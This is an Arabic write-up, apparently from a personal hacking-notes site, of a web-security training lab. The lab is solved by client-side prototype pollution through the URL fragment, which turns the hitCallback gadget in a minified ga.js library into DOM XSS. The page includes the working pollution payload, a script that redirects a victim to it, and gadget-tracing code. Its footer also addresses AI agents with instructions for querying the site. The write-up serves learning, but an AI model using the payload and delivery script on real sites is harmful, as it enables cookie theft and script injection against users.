> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/prototype-pollution/client-side-prototype-pollution-in-third-party-libraries.md).

# Prototype Pollution من جانب العميل في المكتبات الخارجية

### تسميم النموذج الأولي من جهة العميل في المكتبات التابعة لجهات خارجية

#### سياق المختبر

هذا المعمل عرضةً لـ **ثغرة XSS في DOM عبر تسميم النموذج الأولي من جهة العميل**. / ما يميز هذا هنا هو أن العنصر الضعيف **يقع في مكتبة JavaScript تابعة لجهة خارجية**, والذي يكون كوده **مُصغَّرًا**, مما يجعل التحليل اليدوي أكثر تعقيدًا.

المعمل مستوحى من ثغرات حقيقية أبرزها **PortSwigger Research**, ولا سيما في المقال Widespread prototype pollution gadgets بقلم **Gareth Heyes**.

الهدف النهائي:/ \*\* شغّل `alert(document.cookie)` في متصفح الضحية\*\*، باستخدام خادم الاستغلال الموفَّر.

### النهج الموصى به: هجوم تلقائي باستخدام DOM Invader

#### تفعيل DOM Invader

1. افتح المتصفح المدمج إلى **Burp Suite**.

<figure><img src="/files/f5d2caa2539972a668e41a1b0bcec22654b38f50" alt=""><figcaption></figcaption></figure>

* تحقق من أن **DOM Invader** الملحق نشط.

<figure><img src="/files/578e5d5559b32bf6e69bbfdf31818b998f8ce1b3" alt=""><figcaption></figcaption></figure>

تفعيل:

* **DOM Invader قيد التشغيل**
* **نوع الهجوم: تسميم النموذج الأولي**

<figure><img src="/files/080f2c747c4f9e9450674a1dd271fea3f068ee0b" alt=""><figcaption></figcaption></figure>

#### تحديد المصدر الضعيف

* في **DOM Invader** علامة التبويب، يتم **مصدر لتسميم النموذج الأولي** اكتشافه تلقائيًا.
* يشير DOM Invader إلى أن التسميم ممكن عبر \*\* مقطع URL (`#`)\*\*، وليس عبر الإعدادات التقليدية (`?`).

<figure><img src="/files/6bb75362d4e45b92c84b60d81f378d72b7ad86bd" alt=""><figcaption></figcaption></figure>

#### اكتشاف الأداة تلقائيًا

1. شغّل **فحص الأدوات** من خلال DOM Invader.

<figure><img src="/files/af24ecd06a76ac9e42e84a1759d2abf4c702f284" alt=""><figcaption></figcaption></figure>

تم تحديد أداة قابلة للاستغلال في مكتبة تابعة لجهة خارجية.

عند النقر على **استغلال**، يؤكد DOM Invader التنفيذ باستخدام `alert(1)`.

<figure><img src="/files/f2c506f521e610878f105aec3e55ea461f0402ce" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/914af7cf3eedc141bca44506569d13a5201460e4" alt=""><figcaption></figcaption></figure>

#### الحمولة النهائية (document.cookie)

الحمولة المحددة بواسطة DOM Invader:

```javascript
#constructor[prototype][hitCallback]=alert%28document.cookie%29
```

تؤدي هذه الحمولة إلى تشغيل التنبيه الذي يحتوي على ملفات تعريف الارتباط

<figure><img src="/files/b36a1630ab412e993703f883290fa1bad339bcfe" alt=""><figcaption></figcaption></figure>

#### تسليم الاستغلال إلى الضحية

يتم إرسال الشيفرة التالية مع **الخادم العامل**:

```javascript
<script>
    window.location.href = 'https://0aab001004b09f5780ab035a00c40034.web-security-academy.net/#constructor[prototype][hitCallback]=alert%28document.cookie%29';
</script>
```

عندما يحمّل الضحية الصفحة، يتم تنفيذ JavaScript في متصفحه

### النهج اليدوي (تحليل مفصل)

#### محاولات التسميم التقليدية (فشل)

الحمولات التالية \*\* لا تعمل\*\*:

```bash
/?__proto__[foo]=bar
/?__proto__.foo=bar
```

النتيجة

```javascript
console.log({}.foo); // undefined
```

<figure><img src="/files/b2a15d2cf0fb07f0304ae7800545ffec77524e9c" alt=""><figcaption></figcaption></figure>

#### التسميم عبر مقطع URL (نجاح)

ومع ذلك، فإن التسميم \*\* يعمل مع `#`\*\*:

```javascript
#__proto__[foo]=bar
#__proto__.foo=bar
```

يشير هذا إلى أن المصدر الضعيف يستهلك مقطع URL

<figure><img src="/files/5250c4bcb32d97ea4d198db97e3559546c946c23" alt="" width="563"><figcaption></figcaption></figure>

#### تحليل مكتبة تابعة لجهة خارجية

* يتم تحميل ملف كبير:

/resources/js/ga.js

حوالي 3000 سطر، وشيفرة مُصغَّرة.

* يحتوي هذا الملف على استدعاء عودة يُسمى hitCallback، ويُستخدم دون تحقق صارم.

<figure><img src="/files/594330c6e7f00fcba15b8d0a99cd6452f7a03670" alt=""><figcaption></figcaption></figure>

### التعرّف اليدوي على الأداة

#### تقنية التتبع باستخدام `Object.defineProperty`

للعثور على الخصائص المقروءة على `Object.prototype`، نقوم بحقن:

```javascript
Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

#### إيقاف تنفيذ JavaScript

<figure><img src="/files/f47b1b4a0533f2a3adca195fdad38f0d39d5ae12" alt=""><figcaption></figcaption></figure>

من خلال اعتراض استجابة HTML، نقوم بحقن:

```javascript
<script>
    debugger;
</script>
```

<figure><img src="/files/2ae6f091ecef77762022f3792ab039b4b8e040b2" alt=""><figcaption></figcaption></figure>

يتوقف المتصفح عند \*\*

<figure><img src="/files/d0ef804759cc6f654a429fa59955f1a00172bc61" alt=""><figcaption></figcaption></figure>

#### اختبار الخصائص المرشحة

مثال مع خاصية غير مستغلة

```javascript
Object.defineProperty(Object.prototype, 'anonymizeIp', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

لا يوجد تتبع مثير للاهتمام.

<figure><img src="/files/abe2b9e3cedbc6c169929c10c14b1175cb7fd12f" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/169dfa531f0efaf2043380d004af7b6c77d79e03" alt=""><figcaption></figcaption></figure>

#### اكتشاف أداة صالحة: `hitCallback`

```javascript
Object.defineProperty(Object.prototype, 'hitCallback', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

النتيجة:

* `console.trace()` يكشف سلسلة من الاستدعاءات من `ga.js`
* الخاصية مقروءة جيدًا **ويتم تنفيذها كدالة**

يؤكد هذا السلوك أن `hitCallback` يتم استدعاؤه كاستدعاء عودة JavaScript

```javascript
console.trace() debugger eval code:3:17
    get debugger eval code:3
    get https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    Vc https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:21
    j https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    Fa https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:63
    b https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    O https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:36
    push https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:33
    b https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    Fe https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
```

<figure><img src="/files/b771306ea0408a9d652d40e1cb392a4b8dc347ac" alt=""><figcaption></figcaption></figure>

يؤكد هذا السلوك أن `hitCallback` يتم استدعاؤه كاستدعاء عودة JavaScript

```javascript
خطأ ReferenceError غير مُلتقط: polluted غير معرّف
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:21
```

<figure><img src="/files/1265eacd8af6d1b7e5e38e7472269adc49784436" alt=""><figcaption></figcaption></figure>

* الـ `hitCallback` تسمح الأداة بتنفيذ \*\* JavaScript عشوائي\*\*، مما يؤدي إلى **XSS في DOM**.

```javascript
Zc.prototype.stopPropagation = function () {
      throw 'aborted';
    };
    var Vc = function (a) {
      var b = this;
      this.fb = 0;
      var c = a.get(tc);
      this.Ua = function () {
        0 < b.fb &&
        c &&
        (b.fb--, b.fb || c())
      };
      this.Ja = function () {
        !b.fb &&
        c &&
        setTimeout(c, 10)
      };
      a.set(uc, b, !0)
    };
```

<figure><img src="/files/243a7fbb0fb6e2b88b4fd263b2be752d2d3008a5" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/prototype-pollution/client-side-prototype-pollution-in-third-party-libraries.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
